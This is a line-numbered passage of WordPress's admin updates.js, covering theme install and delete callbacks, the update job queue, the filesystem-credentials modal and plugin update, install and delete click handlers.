1749 $document.trigger( 'wp-theme-installing', args );
1750
1751 return wp.updates.ajax( 'install-theme', args );
1752 };
1753
1754 /**
1755 * Updates the UI appropriately after a successful theme install.
1756 *
1757 * @since 4.6.0
1758 *
1759 * @param {Object} response Response from the server.
1760 * @param {string} response.slug Slug of the theme to be installed.
1761 * @param {string} response.customizeUrl URL to the Customizer for the just installed theme.
1762 * @param {string} response.activateUrl URL to activate the just installed theme.
1763 */
1764 wp.updates.installThemeSuccess = function( response ) {
1765 var $card = $( '.wp-full-overlay-header, [data-slug=' + response.slug + ']' ),
1766 $message;
1767
1768 $document.trigger( 'wp-theme-install-success', response );
1769
1770 $message = $card.find( '.button-primary' )
1771 .removeClass( 'updating-message' )
1772 .addClass( 'updated-message disabled' )
1773 .attr(
1774 'aria-label',
1775 sprintf(
1776 /* translators: %s: Theme name and version. */
1777 _x( '%s installed!', 'theme' ),
1778 response.themeName
1779 )
1780 )
1781 .text( _x( 'Installed!', 'theme' ) );
1782
1783 wp.a11y.speak( __( 'Installation completed successfully.' ) );
1784
1785 setTimeout( function() {
1786
1787 if ( response.activateUrl ) {
1788
1789 // Transform the 'Install' button into an 'Activate' button.
1790 $message
1791 .attr( 'href', response.activateUrl )
1792 .removeClass( 'theme-install updated-message disabled' )
1793 .addClass( 'activate' );
1794
1795 if ( 'themes-network' === pagenow ) {
1796 $message
1797 .attr(
1798 'aria-label',
1799 sprintf(
1800 /* translators: %s: Theme name. */
1801 _x( 'Network Activate %s', 'theme' ),
1802 response.themeName
1803 )
1804 )
1805 .text( __( 'Network Enable' ) );
1806 } else {
1807 $message
1808 .attr(
1809 'aria-label',
1810 sprintf(
1811 /* translators: %s: Theme name. */
1812 _x( 'Activate %s', 'theme' ),
1813 response.themeName
1814 )
1815 )
1816 .text( _x( 'Activate', 'theme' ) );
1817 }
1818 }
1819
1820 if ( response.customizeUrl ) {
1821
1822 // Transform the 'Preview' button into a 'Live Preview' button.
1823 $message.siblings( '.preview' ).replaceWith( function () {
1824 return $( '<a>' )
1825 .attr( 'href', response.customizeUrl )
1826 .addClass( 'button load-customize' )
1827 .text( __( 'Live Preview' ) );
1828 } );
1829 }
1830 }, 1000 );
1831 };
1832
1833 /**
1834 * Updates the UI appropriately after a failed theme install.
1835 *
1836 * @since 4.6.0
1837 *
1838 * @param {Object} response Response from the server.
1839 * @param {string} response.slug Slug of the theme to be installed.
1840 * @param {string} response.errorCode Error code for the error that occurred.
1841 * @param {string} response.errorMessage The error that occurred.
1842 */
1843 wp.updates.installThemeError = function( response ) {
1844 var $card, $button,
1845 errorMessage = sprintf(
1846 /* translators: %s: Error string for a failed installation. */
1847 __( 'Installation failed: %s' ),
1848 response.errorMessage
1849 ),
1850 $message = wp.updates.adminNotice( {
1851 className: 'update-message notice-error notice-alt',
1852 message: errorMessage
1853 } );
1854
1855 if ( ! wp.updates.isValidResponse( response, 'install' ) ) {
1856 return;
1857 }
1858
1859 if ( wp.updates.maybeHandleCredentialError( response, 'install-theme' ) ) {
1860 return;
1861 }
1862
1863 if ( 'customize' === pagenow ) {
1864 if ( $document.find( 'body' ).hasClass( 'modal-open' ) ) {
1865 $button = $( '.theme-install[data-slug="' + response.slug + '"]' );
1866 $card = $( '.theme-overlay .theme-info' ).prepend( $message );
1867 } else {
1868 $button = $( '.theme-install[data-slug="' + response.slug + '"]' );
1869 $card = $button.closest( '.theme' ).addClass( 'theme-install-failed' ).append( $message );
1870 }
1871 wp.customize.notifications.remove( 'theme_installing' );
1872 } else {
1873 if ( $document.find( 'body' ).hasClass( 'full-overlay-active' ) ) {
1874 $button = $( '.theme-install[data-slug="' + response.slug + '"]' );
1875 $card = $( '.install-theme-info' ).prepend( $message );
1876 } else {
1877 $card = $( '[data-slug="' + response.slug + '"]' ).removeClass( 'focus' ).addClass( 'theme-install-failed' ).append( $message );
1878 $button = $card.find( '.theme-install' );
1879 }
1880 }
1881
1882 $button
1883 .removeClass( 'updating-message' )
1884 .attr(
1885 'aria-label',
1886 sprintf(
1887 /* translators: %s: Theme name and version. */
1888 _x( '%s installation failed', 'theme' ),
1889 $button.data( 'name' )
1890 )
1891 )
1892 .text( __( 'Installation failed.' ) );
1893
1894 wp.a11y.speak( errorMessage, 'assertive' );
1895
1896 $document.trigger( 'wp-theme-install-error', response );
1897 };
1898
1899 /**
1900 * Sends an Ajax request to the server to delete a theme.
1901 *
1902 * @since 4.6.0
1903 *
1904 * @param {Object} args
1905 * @param {string} args.slug Theme stylesheet.
1906 * @param {deleteThemeSuccess=} args.success Optional. Success callback. Default: wp.updates.deleteThemeSuccess
1907 * @param {deleteThemeError=} args.error Optional. Error callback. Default: wp.updates.deleteThemeError
1908 * @return {$.promise} A jQuery promise that represents the request,
1909 * decorated with an abort() method.
1910 */
1911 wp.updates.deleteTheme = function( args ) {
1912 var $button;
1913
1914 if ( 'themes' === pagenow ) {
1915 $button = $( '.theme-actions .delete-theme' );
1916 } else if ( 'themes-network' === pagenow ) {
1917 $button = $( '[data-slug="' + args.slug + '"]' ).find( '.row-actions a.delete' );
1918 }
1919
1920 args = _.extend( {
1921 success: wp.updates.deleteThemeSuccess,
1922 error: wp.updates.deleteThemeError
1923 }, args );
1924
1925 if ( $button && $button.html() !== __( 'Deleting...' ) ) {
1926 $button
1927 .data( 'originaltext', $button.html() )
1928 .text( __( 'Deleting...' ) );
1929 }
1930
1931 wp.a11y.speak( __( 'Deleting...' ) );
1932
1933 // Remove previous error messages, if any.
1934 $( '.theme-info .update-message' ).remove();
1935
1936 $document.trigger( 'wp-theme-deleting', args );
1937
1938 return wp.updates.ajax( 'delete-theme', args );
1939 };
1940
1941 /**
1942 * Updates the UI appropriately after a successful theme deletion.
1943 *
1944 * @since 4.6.0
1945 *
1946 * @param {Object} response Response from the server.
1947 * @param {string} response.slug Slug of the theme that was deleted.
1948 */
1949 wp.updates.deleteThemeSuccess = function( response ) {
1950 var $themeRows = $( '[data-slug="' + response.slug + '"]' );
1951
1952 if ( 'themes-network' === pagenow ) {
1953
1954 // Removes the theme and updates rows.
1955 $themeRows.css( { backgroundColor: '#faafaa' } ).fadeOut( 350, function() {
1956 var $views = $( '.subsubsub' ),
1957 $themeRow = $( this ),
1958 themes = settings.themes,
1959 deletedRow = wp.template( 'item-deleted-row' );
1960
1961 if ( ! $themeRow.hasClass( 'plugin-update-tr' ) ) {
1962 $themeRow.after(
1963 deletedRow( {
1964 slug: response.slug,
1965 colspan: $( '#bulk-action-form' ).find( 'thead th:not(.hidden), thead td' ).length,
1966 name: $themeRow.find( '.theme-title strong' ).text()
1967 } )
1968 );
1969 }
1970
1971 $themeRow.remove();
1972
1973 // Remove theme from update count.
1974 if ( -1 !== _.indexOf( themes.upgrade, response.slug ) ) {
1975 themes.upgrade = _.without( themes.upgrade, response.slug );
1976 wp.updates.decrementCount( 'theme' );
1977 }
1978
1979 // Remove from views.
1980 if ( -1 !== _.indexOf( themes.disabled, response.slug ) ) {
1981 themes.disabled = _.without( themes.disabled, response.slug );
1982 if ( themes.disabled.length ) {
1983 $views.find( '.disabled .count' ).text( '(' + themes.disabled.length + ')' );
1984 } else {
1985 $views.find( '.disabled' ).remove();
1986 }
1987 }
1988
1989 if ( -1 !== _.indexOf( themes['auto-update-enabled'], response.slug ) ) {
1990 themes['auto-update-enabled'] = _.without( themes['auto-update-enabled'], response.slug );
1991 if ( themes['auto-update-enabled'].length ) {
1992 $views.find( '.auto-update-enabled .count' ).text( '(' + themes['auto-update-enabled'].length + ')' );
1993 } else {
1994 $views.find( '.auto-update-enabled' ).remove();
1995 }
1996 }
1997
1998 if ( -1 !== _.indexOf( themes['auto-update-disabled'], response.slug ) ) {
1999 themes['auto-update-disabled'] = _.without( themes['auto-update-disabled'], response.slug );
2000 if ( themes['auto-update-disabled'].length ) {
2001 $views.find( '.auto-update-disabled .count' ).text( '(' + themes['auto-update-disabled'].length + ')' );
2002 } else {
2003 $views.find( '.auto-update-disabled' ).remove();
2004 }
2005 }
2006
2007 themes.all = _.without( themes.all, response.slug );
2008
2009 // There is always at least one theme available.
2010 $views.find( '.all .count' ).text( '(' + themes.all.length + ')' );
2011 } );
2012 }
2013
2014 // DecrementCount from update count.
2015 if ( 'themes' === pagenow ) {
2016 var theme = _.find( _wpThemeSettings.themes, { id: response.slug } );
2017 if ( theme.hasUpdate ) {
2018 wp.updates.decrementCount( 'theme' );
2019 }
2020 }
2021
2022 wp.a11y.speak( _x( 'Deleted!', 'theme' ) );
2023
2024 $document.trigger( 'wp-theme-delete-success', response );
2025 };
2026
2027 /**
2028 * Updates the UI appropriately after a failed theme deletion.
2029 *
2030 * @since 4.6.0
2031 *
2032 * @param {Object} response Response from the server.
2033 * @param {string} response.slug Slug of the theme to be deleted.
2034 * @param {string} response.errorCode Error code for the error that occurred.
2035 * @param {string} response.errorMessage The error that occurred.
2036 */
2037 wp.updates.deleteThemeError = function( response ) {
2038 var $themeRow = $( 'tr.inactive[data-slug="' + response.slug + '"]' ),
2039 $button = $( '.theme-actions .delete-theme' ),
2040 updateRow = wp.template( 'item-update-row' ),
2041 $updateRow = $themeRow.siblings( '#' + response.slug + '-update' ),
2042 errorMessage = sprintf(
2043 /* translators: %s: Error string for a failed deletion. */
2044 __( 'Deletion failed: %s' ),
2045 response.errorMessage
2046 ),
2047 $message = wp.updates.adminNotice( {
2048 className: 'update-message notice-error notice-alt',
2049 message: errorMessage
2050 } );
2051
2052 if ( wp.updates.maybeHandleCredentialError( response, 'delete-theme' ) ) {
2053 return;
2054 }
2055
2056 if ( 'themes-network' === pagenow ) {
2057 if ( ! $updateRow.length ) {
2058 $themeRow.addClass( 'update' ).after(
2059 updateRow( {
2060 slug: response.slug,
2061 colspan: $( '#bulk-action-form' ).find( 'thead th:not(.hidden), thead td' ).length,
2062 content: $message
2063 } )
2064 );
2065 } else {
2066 // Remove previous error messages, if any.
2067 $updateRow.find( '.notice-error' ).remove();
2068 $updateRow.find( '.plugin-update' ).append( $message );
2069 }
2070 } else {
2071 $( '.theme-info .theme-description' ).before( $message );
2072 }
2073
2074 $button.html( $button.data( 'originaltext' ) );
2075
2076 wp.a11y.speak( errorMessage, 'assertive' );
2077
2078 $document.trigger( 'wp-theme-delete-error', response );
2079 };
2080
2081 /**
2082 * Adds the appropriate callback based on the type of action and the current page.
2083 *
2084 * @since 4.6.0
2085 * @private
2086 *
2087 * @param {Object} data Ajax payload.
2088 * @param {string} action The type of request to perform.
2089 * @return {Object} The Ajax payload with the appropriate callbacks.
2090 */
2091 wp.updates._addCallbacks = function( data, action ) {
2092 if ( 'import' === pagenow && 'install-plugin' === action ) {
2093 data.success = wp.updates.installImporterSuccess;
2094 data.error = wp.updates.installImporterError;
2095 }
2096
2097 return data;
2098 };
2099
2100 /**
2101 * Pulls available jobs from the queue and runs them.
2102 *
2103 * @since 4.2.0
2104 * @since 4.6.0 Can handle multiple job types.
2105 */
2106 wp.updates.queueChecker = function() {
2107 var job;
2108
2109 if ( wp.updates.ajaxLocked || ! wp.updates.queue.length ) {
2110 return;
2111 }
2112
2113 job = wp.updates.queue.shift();
2114
2115 // Handle a queue job.
2116 switch ( job.action ) {
2117 case 'install-plugin':
2118 wp.updates.installPlugin( job.data );
2119 break;
2120
2121 case 'update-plugin':
2122 wp.updates.updatePlugin( job.data );
2123 break;
2124
2125 case 'delete-plugin':
2126 wp.updates.deletePlugin( job.data );
2127 break;
2128
2129 case 'install-theme':
2130 wp.updates.installTheme( job.data );
2131 break;
2132
2133 case 'update-theme':
2134 wp.updates.updateTheme( job.data );
2135 break;
2136
2137 case 'delete-theme':
2138 wp.updates.deleteTheme( job.data );
2139 break;
2140
2141 default:
2142 break;
2143 }
2144 };
2145
2146 /**
2147 * Requests the users filesystem credentials if they aren't already known.
2148 *
2149 * @since 4.2.0
2150 *
2151 * @param {Event=} event Optional. Event interface.
2152 */
2153 wp.updates.requestFilesystemCredentials = function( event ) {
2154 if ( false === wp.updates.filesystemCredentials.available ) {
2155 /*
2156 * After exiting the credentials request modal,
2157 * return the focus to the element triggering the request.
2158 */
2159 if ( event && ! wp.updates.$elToReturnFocusToFromCredentialsModal ) {
2160 wp.updates.$elToReturnFocusToFromCredentialsModal = $( event.target );
2161 }
2162
2163 wp.updates.ajaxLocked = true;
2164 wp.updates.requestForCredentialsModalOpen();
2165 }
2166 };
2167
2168 /**
2169 * Requests the users filesystem credentials if needed and there is no lock.
2170 *
2171 * @since 4.6.0
2172 *
2173 * @param {Event=} event Optional. Event interface.
2174 */
2175 wp.updates.maybeRequestFilesystemCredentials = function( event ) {
2176 if ( wp.updates.shouldRequestFilesystemCredentials && ! wp.updates.ajaxLocked ) {
2177 wp.updates.requestFilesystemCredentials( event );
2178 }
2179 };
2180
2181 /**
2182 * Keydown handler for the request for credentials modal.
2183 *
2184 * Closes the modal when the escape key is pressed and
2185 * constrains keyboard navigation to inside the modal.
2186 *
2187 * @since 4.2.0
2188 *
2189 * @param {Event} event Event interface.
2190 */
2191 wp.updates.keydown = function( event ) {
2192 if ( 27 === event.keyCode ) {
2193 wp.updates.requestForCredentialsModalCancel();
2194 } else if ( 9 === event.keyCode ) {
2195
2196 // #upgrade button must always be the last focus-able element in the dialog.
2197 if ( 'upgrade' === event.target.id && ! event.shiftKey ) {
2198 $( '#hostname' ).trigger( 'focus' );
2199
2200 event.preventDefault();
2201 } else if ( 'hostname' === event.target.id && event.shiftKey ) {
2202 $( '#upgrade' ).trigger( 'focus' );
2203
2204 event.preventDefault();
2205 }
2206 }
2207 };
2208
2209 /**
2210 * Opens the request for credentials modal.
2211 *
2212 * @since 4.2.0
2213 */
2214 wp.updates.requestForCredentialsModalOpen = function() {
2215 var $modal = $( '#request-filesystem-credentials-dialog' );
2216
2217 $( 'body' ).addClass( 'modal-open' );
2218 $modal.show();
2219 $modal.find( 'input:enabled:first' ).trigger( 'focus' );
2220 $modal.on( 'keydown', wp.updates.keydown );
2221 };
2222
2223 /**
2224 * Closes the request for credentials modal.
2225 *
2226 * @since 4.2.0
2227 */
2228 wp.updates.requestForCredentialsModalClose = function() {
2229 $( '#request-filesystem-credentials-dialog' ).hide();
2230 $( 'body' ).removeClass( 'modal-open' );
2231
2232 if ( wp.updates.$elToReturnFocusToFromCredentialsModal ) {
2233 wp.updates.$elToReturnFocusToFromCredentialsModal.trigger( 'focus' );
2234 }
2235 };
2236
2237 /**
2238 * Takes care of the steps that need to happen when the modal is canceled out.
2239 *
2240 * @since 4.2.0
2241 * @since 4.6.0 Triggers an event for callbacks to listen to and add their actions.
2242 */
2243 wp.updates.requestForCredentialsModalCancel = function() {
2244
2245 // Not ajaxLocked and no queue means we already have cleared things up.
2246 if ( ! wp.updates.ajaxLocked && ! wp.updates.queue.length ) {
2247 return;
2248 }
2249
2250 _.each( wp.updates.queue, function( job ) {
2251 $document.trigger( 'credential-modal-cancel', job );
2252 } );
2253
2254 // Remove the lock, and clear the queue.
2255 wp.updates.ajaxLocked = false;
2256 wp.updates.queue = [];
2257
2258 wp.updates.requestForCredentialsModalClose();
2259 };
2260
2261 /**
2262 * Displays an error message in the request for credentials form.
2263 *
2264 * @since 4.2.0
2265 *
2266 * @param {string} message Error message.
2267 */
2268 wp.updates.showErrorInCredentialsForm = function( message ) {
2269 var $filesystemForm = $( '#request-filesystem-credentials-form' );
2270
2271 // Remove any existing error.
2272 $filesystemForm.find( '.notice' ).remove();
2273 $filesystemForm.find( '#request-filesystem-credentials-title' ).after( '<div class="notice notice-alt notice-error" role="alert"><p>' + message + '</p></div>' );
2274 };
2275
2276 /**
2277 * Handles credential errors and runs events that need to happen in that case.
2278 *
2279 * @since 4.2.0
2280 *
2281 * @param {Object} response Ajax response.
2282 * @param {string} action The type of request to perform.
2283 */
2284 wp.updates.credentialError = function( response, action ) {
2285
2286 // Restore callbacks.
2287 response = wp.updates._addCallbacks( response, action );
2288
2289 wp.updates.queue.unshift( {
2290 action: action,
2291
2292 /*
2293 * Not cool that we're depending on response for this data.
2294 * This would feel more whole in a view all tied together.
2295 */
2296 data: response
2297 } );
2298
2299 wp.updates.filesystemCredentials.available = false;
2300 wp.updates.showErrorInCredentialsForm( response.errorMessage );
2301 wp.updates.requestFilesystemCredentials();
2302 };
2303
2304 /**
2305 * Handles credentials errors if it could not connect to the filesystem.
2306 *
2307 * @since 4.6.0
2308 *
2309 * @param {Object} response Response from the server.
2310 * @param {string} response.errorCode Error code for the error that occurred.
2311 * @param {string} response.errorMessage The error that occurred.
2312 * @param {string} action The type of request to perform.
2313 * @return {boolean} Whether there is an error that needs to be handled or not.
2314 */
2315 wp.updates.maybeHandleCredentialError = function( response, action ) {
2316 if ( wp.updates.shouldRequestFilesystemCredentials && response.errorCode && 'unable_to_connect_to_filesystem' === response.errorCode ) {
2317 wp.updates.credentialError( response, action );
2318 return true;
2319 }
2320
2321 return false;
2322 };
2323
2324 /**
2325 * Validates an Ajax response to ensure it's a proper object.
2326 *
2327 * If the response deems to be invalid, an admin notice is being displayed.
2328 *
2329 * @param {(Object|string)} response Response from the server.
2330 * @param {function=} response.always Optional. Callback for when the Deferred is resolved or rejected.
2331 * @param {string=} response.statusText Optional. Status message corresponding to the status code.
2332 * @param {string=} response.responseText Optional. Request response as text.
2333 * @param {string} action Type of action the response is referring to. Can be 'delete',
2334 * 'update' or 'install'.
2335 */
2336 wp.updates.isValidResponse = function( response, action ) {
2337 var error = __( 'An error occurred during the update process. Please try again.' ),
2338 errorMessage;
2339
2340 // Make sure the response is a valid data object and not a Promise object.
2341 if ( _.isObject( response ) && ! _.isFunction( response.always ) ) {
2342 return true;
2343 }
2344
2345 if ( _.isString( response ) && '-1' === response ) {
2346 error = __( 'An error has occurred. Please reload the page and try again.' );
2347 } else if ( _.isString( response ) ) {
2348 error = response;
2349 } else if ( 'undefined' !== typeof response.readyState && 0 === response.readyState ) {
2350 error = __( 'Connection lost or the server is busy. Please try again later.' );
2351 } else if ( _.isString( response.responseText ) && '' !== response.responseText ) {
2352 error = response.responseText;
2353 } else if ( _.isString( response.statusText ) ) {
2354 error = response.statusText;
2355 }
2356
2357 switch ( action ) {
2358 case 'update':
2359 /* translators: %s: Error string for a failed update. */
2360 errorMessage = __( 'Update failed: %s' );
2361 break;
2362
2363 case 'install':
2364 /* translators: %s: Error string for a failed installation. */
2365 errorMessage = __( 'Installation failed: %s' );
2366 break;
2367
2368 case 'check-dependencies':
2369 /* translators: %s: Error string for a failed dependencies check. */
2370 errorMessage = __( 'Dependencies check failed: %s' );
2371 break;
2372
2373 case 'activate':
2374 /* translators: %s: Error string for a failed activation. */
2375 errorMessage = __( 'Activation failed: %s' );
2376 break;
2377
2378 case 'delete':
2379 /* translators: %s: Error string for a failed deletion. */
2380 errorMessage = __( 'Deletion failed: %s' );
2381 break;
2382 }
2383
2384 // Messages are escaped, remove HTML tags to make them more readable.
2385 error = error.replace( /<[\/a-z][^<>]*>/gi, '' );
2386 errorMessage = errorMessage.replace( '%s', error );
2387
2388 // Add admin notice.
2389 wp.updates.addAdminNotice( {
2390 id: 'unknown_error',
2391 className: 'notice-error is-dismissible',
2392 message: _.escape( errorMessage )
2393 } );
2394
2395 // Remove the lock, and clear the queue.
2396 wp.updates.ajaxLocked = false;
2397 wp.updates.queue = [];
2398
2399 // Change buttons of all running updates.
2400 $( '.button.updating-message' )
2401 .removeClass( 'updating-message' )
2402 .removeAttr( 'aria-label' )
2403 .prop( 'disabled', true )
2404 .text( __( 'Update failed.' ) );
2405
2406 $( '.updating-message:not(.button):not(.thickbox)' )
2407 .removeClass( 'updating-message notice-warning' )
2408 .addClass( 'notice-error' )
2409 .find( 'p' )
2410 .removeAttr( 'aria-label' )
2411 .text( errorMessage );
2412
2413 wp.a11y.speak( errorMessage, 'assertive' );
2414
2415 return false;
2416 };
2417
2418 /**
2419 * Potentially adds an AYS to a user attempting to leave the page.
2420 *
2421 * If an update is on-going and a user attempts to leave the page,
2422 * opens an "Are you sure?" alert.
2423 *
2424 * @since 4.2.0
2425 */
2426 wp.updates.beforeunload = function() {
2427 if ( wp.updates.ajaxLocked ) {
2428 return __( 'Updates may not complete if you navigate away from this page.' );
2429 }
2430 };
2431
2432 $( function() {
2433 var $pluginFilter = $( '#plugin-filter, #plugin-information-footer' ),
2434 $bulkActionForm = $( '#bulk-action-form' ),
2435 $filesystemForm = $( '#request-filesystem-credentials-form' ),
2436 $filesystemModal = $( '#request-filesystem-credentials-dialog' ),
2437 $pluginSearch = $( '.plugins-php .wp-filter-search' ),
2438 $pluginInstallSearch = $( '.plugin-install-php .wp-filter-search' );
2439
2440 settings = _.extend( settings, window._wpUpdatesItemCounts || {} );
2441
2442 if ( settings.totals ) {
2443 wp.updates.refreshCount();
2444 }
2445
2446 /*
2447 * Whether a user needs to submit filesystem credentials.
2448 *
2449 * This is based on whether the form was output on the page server-side.
2450 *
2451 * @see {wp_print_request_filesystem_credentials_modal() in PHP}
2452 */
2453 wp.updates.shouldRequestFilesystemCredentials = $filesystemModal.length > 0;
2454
2455 /**
2456 * File system credentials form submit noop-er / handler.
2457 *
2458 * @since 4.2.0
2459 */
2460 $filesystemModal.on( 'submit', 'form', function( event ) {
2461 event.preventDefault();
2462
2463 // Persist the credentials input by the user for the duration of the page load.
2464 wp.updates.filesystemCredentials.ftp.hostname = $( '#hostname' ).val();
2465 wp.updates.filesystemCredentials.ftp.username = $( '#username' ).val();
2466 wp.updates.filesystemCredentials.ftp.password = $( '#password' ).val();
2467 wp.updates.filesystemCredentials.ftp.connectionType = $( 'input[name="connection_type"]:checked' ).val();
2468 wp.updates.filesystemCredentials.ssh.publicKey = $( '#public_key' ).val();
2469 wp.updates.filesystemCredentials.ssh.privateKey = $( '#private_key' ).val();
2470 wp.updates.filesystemCredentials.fsNonce = $( '#_fs_nonce' ).val();
2471 wp.updates.filesystemCredentials.available = true;
2472
2473 // Unlock and invoke the queue.
2474 wp.updates.ajaxLocked = false;
2475 wp.updates.queueChecker();
2476
2477 wp.updates.requestForCredentialsModalClose();
2478 } );
2479
2480 /**
2481 * Closes the request credentials modal when clicking the 'Cancel' button or outside of the modal.
2482 *
2483 * @since 4.2.0
2484 */
2485 $filesystemModal.on( 'click', '[data-js-action="close"], .notification-dialog-background', wp.updates.requestForCredentialsModalCancel );
2486
2487 /**
2488 * Hide SSH fields when not selected.
2489 *
2490 * @since 4.2.0
2491 */
2492 $filesystemForm.on( 'change', 'input[name="connection_type"]', function() {
2493 $( '#ssh-keys' ).toggleClass( 'hidden', ( 'ssh' !== $( this ).val() ) );
2494 } ).trigger( 'change' );
2495
2496 /**
2497 * Handles events after the credential modal was closed.
2498 *
2499 * @since 4.6.0
2500 *
2501 * @param {Event} event Event interface.
2502 * @param {string} job The install/update.delete request.
2503 */
2504 $document.on( 'credential-modal-cancel', function( event, job ) {
2505 var $updatingMessage = $( '.updating-message' ),
2506 $message, originalText;
2507
2508 if ( 'import' === pagenow ) {
2509 $updatingMessage.removeClass( 'updating-message' );
2510 } else if ( 'plugins' === pagenow || 'plugins-network' === pagenow ) {
2511 if ( 'update-plugin' === job.action ) {
2512 $message = $( 'tr[data-plugin="' + job.data.plugin + '"]' ).find( '.update-message' );
2513 } else if ( 'delete-plugin' === job.action ) {
2514 $message = $( '[data-plugin="' + job.data.plugin + '"]' ).find( '.row-actions a.delete' );
2515 }
2516 } else if ( 'themes' === pagenow || 'themes-network' === pagenow ) {
2517 if ( 'update-theme' === job.action ) {
2518 $message = $( '[data-slug="' + job.data.slug + '"]' ).find( '.update-message' );
2519 } else if ( 'delete-theme' === job.action && 'themes-network' === pagenow ) {
2520 $message = $( '[data-slug="' + job.data.slug + '"]' ).find( '.row-actions a.delete' );
2521 } else if ( 'delete-theme' === job.action && 'themes' === pagenow ) {
2522 $message = $( '.theme-actions .delete-theme' );
2523 }
2524 } else {
2525 $message = $updatingMessage;
2526 }
2527
2528 if ( $message && $message.hasClass( 'updating-message' ) ) {
2529 originalText = $message.data( 'originaltext' );
2530
2531 if ( 'undefined' === typeof originalText ) {
2532 originalText = $( '<p>' ).html( $message.find( 'p' ).data( 'originaltext' ) );
2533 }
2534
2535 $message
2536 .removeClass( 'updating-message' )
2537 .html( originalText );
2538
2539 if ( 'plugin-install' === pagenow || 'plugin-install-network' === pagenow ) {
2540 if ( 'update-plugin' === job.action ) {
2541 $message.attr(
2542 'aria-label',
2543 sprintf(
2544 /* translators: %s: Plugin name and version. */
2545 _x( 'Update %s now', 'plugin' ),
2546 $message.data( 'name' )
2547 )
2548 );
2549 } else if ( 'install-plugin' === job.action ) {
2550 $message.attr(
2551 'aria-label',
2552 sprintf(
2553 /* translators: %s: Plugin name. */
2554 _x( 'Install %s now', 'plugin' ),
2555 $message.data( 'name' )
2556 )
2557 );
2558 }
2559 }
2560 }
2561
2562 wp.a11y.speak( __( 'Update canceled.' ) );
2563 } );
2564
2565 /**
2566 * Click handler for plugin updates in List Table view.
2567 *
2568 * @since 4.2.0
2569 *
2570 * @param {Event} event Event interface.
2571 */
2572 $bulkActionForm.on( 'click', '[data-plugin] .update-link', function( event ) {
2573 var $message = $( event.target ),
2574 $pluginRow = $message.parents( 'tr' );
2575
2576 event.preventDefault();
2577
2578 if ( $message.hasClass( 'updating-message' ) || $message.hasClass( 'button-disabled' ) ) {
2579 return;
2580 }
2581
2582 wp.updates.maybeRequestFilesystemCredentials( event );
2583
2584 // Return the user to the input box of the plugin's table row after closing the modal.
2585 wp.updates.$elToReturnFocusToFromCredentialsModal = $pluginRow.find( '.check-column input' );
2586 wp.updates.updatePlugin( {
2587 plugin: $pluginRow.data( 'plugin' ),
2588 slug: $pluginRow.data( 'slug' )
2589 } );
2590 } );
2591
2592 /**
2593 * Click handler for plugin updates in plugin install view.
2594 *
2595 * @since 4.2.0
2596 *
2597 * @param {Event} event Event interface.
2598 */
2599 $pluginFilter.on( 'click', '.update-now', function( event ) {
2600 var $button = $( event.target );
2601 event.preventDefault();
2602
2603 if ( $button.hasClass( 'updating-message' ) || $button.hasClass( 'button-disabled' ) ) {
2604 return;
2605 }
2606
2607 wp.updates.maybeRequestFilesystemCredentials( event );
2608
2609 wp.updates.updatePlugin( {
2610 plugin: $button.data( 'plugin' ),
2611 slug: $button.data( 'slug' )
2612 } );
2613 } );
2614
2615 /**
2616 * Click handler for plugin installs in plugin install view.
2617 *
2618 * @since 4.6.0
2619 *
2620 * @param {Event} event Event interface.
2621 */
2622 $pluginFilter.on( 'click', '.install-now', function( event ) {
2623 var $button = $( event.target );
2624 event.preventDefault();
2625
2626 if ( $button.hasClass( 'updating-message' ) || $button.hasClass( 'button-disabled' ) ) {
2627 return;
2628 }
2629
2630 if ( wp.updates.shouldRequestFilesystemCredentials && ! wp.updates.ajaxLocked ) {
2631 wp.updates.requestFilesystemCredentials( event );
2632
2633 $document.on( 'credential-modal-cancel', function() {
2634 var $message = $( '.install-now.updating-message' );
2635
2636 $message
2637 .removeClass( 'updating-message' )
2638 .text( _x( 'Install Now', 'plugin' ) );
2639
2640 wp.a11y.speak( __( 'Update canceled.' ) );
2641 } );
2642 }
2643
2644 wp.updates.installPlugin( {
2645 slug: $button.data( 'slug' )
2646 } );
2647 } );
2648
2649 /**
2650 * Click handler for plugin activations in plugin activation modal view.
2651 *
2652 * @since 6.5.0
2653 * @since 6.5.4 Redirect the parent window to the activation URL.
2654 *
2655 * @param {Event} event Event interface.
2656 */
2657 $document.on( 'click', '#plugin-information-footer .activate-now', function( event ) {
2658 event.preventDefault();
2659 window.parent.location.href = $( event.target ).attr( 'href' );
2660 });
2661
2662 /**
2663 * Click handler for importer plugins installs in the Import screen.
2664 *
2665 * @since 4.6.0
2666 *
2667 * @param {Event} event Event interface.
2668 */
2669 $document.on( 'click', '.importer-item .install-now', function( event ) {
2670 var $button = $( event.target ),
2671 pluginName = $( this ).data( 'name' );
2672
2673 event.preventDefault();
2674
2675 if ( $button.hasClass( 'updating-message' ) ) {
2676 return;
2677 }
2678
2679 if ( wp.updates.shouldRequestFilesystemCredentials && ! wp.updates.ajaxLocked ) {
2680 wp.updates.requestFilesystemCredentials( event );
2681
2682 $document.on( 'credential-modal-cancel', function() {
2683
2684 $button
2685 .removeClass( 'updating-message' )
2686 .attr(
2687 'aria-label',
2688 sprintf(
2689 /* translators: %s: Plugin name. */
2690 _x( 'Install %s now', 'plugin' ),
2691 pluginName
2692 )
2693 )
2694 .text( _x( 'Install Now', 'plugin' ) );
2695
2696 wp.a11y.speak( __( 'Update canceled.' ) );
2697 } );
2698 }
2699
2700 wp.updates.installPlugin( {
2701 slug: $button.data( 'slug' ),
2702 pagenow: pagenow,
2703 success: wp.updates.installImporterSuccess,
2704 error: wp.updates.installImporterError
2705 } );
2706 } );
2707
2708 /**
2709 * Click handler for plugin deletions.
2710 *
2711 * @since 4.6.0
2712 *
2713 * @param {Event} event Event interface.
2714 */
2715 $bulkActionForm.on( 'click', '[data-plugin] a.delete', function( event ) {
2716 var $pluginRow = $( event.target ).parents( 'tr' ),
2717 confirmMessage;
2718
2719 if ( $pluginRow.hasClass( 'is-uninstallable' ) ) {
2720 confirmMessage = sprintf(
2721 /* translators: %s: Plugin name. */
2722 __( 'Are you sure you want to delete %s and its data?' ),
2723 $pluginRow.find( '.plugin-title strong' ).text()
2724 );
2725 } else {
2726 confirmMessage = sprintf(
2727 /* translators: %s: Plugin name. */
2728 __( 'Are you sure you want to delete %s?' ),
2729 $pluginRow.find( '.plugin-title strong' ).text()
2730 );
2731 }
2732
2733 event.preventDefault();
2734
2735 if ( ! window.confirm( confirmMessage ) ) {
2736 return;
2737 }
2738
2739 wp.updates.maybeRequestFilesystemCredentials( event );
2740
2741 wp.updates.deletePlugin( {
2742 plugin: $pluginRow.data( 'plugin' ),
2743 slug: $pluginRow.data( 'slug' )
2744 } );
2745
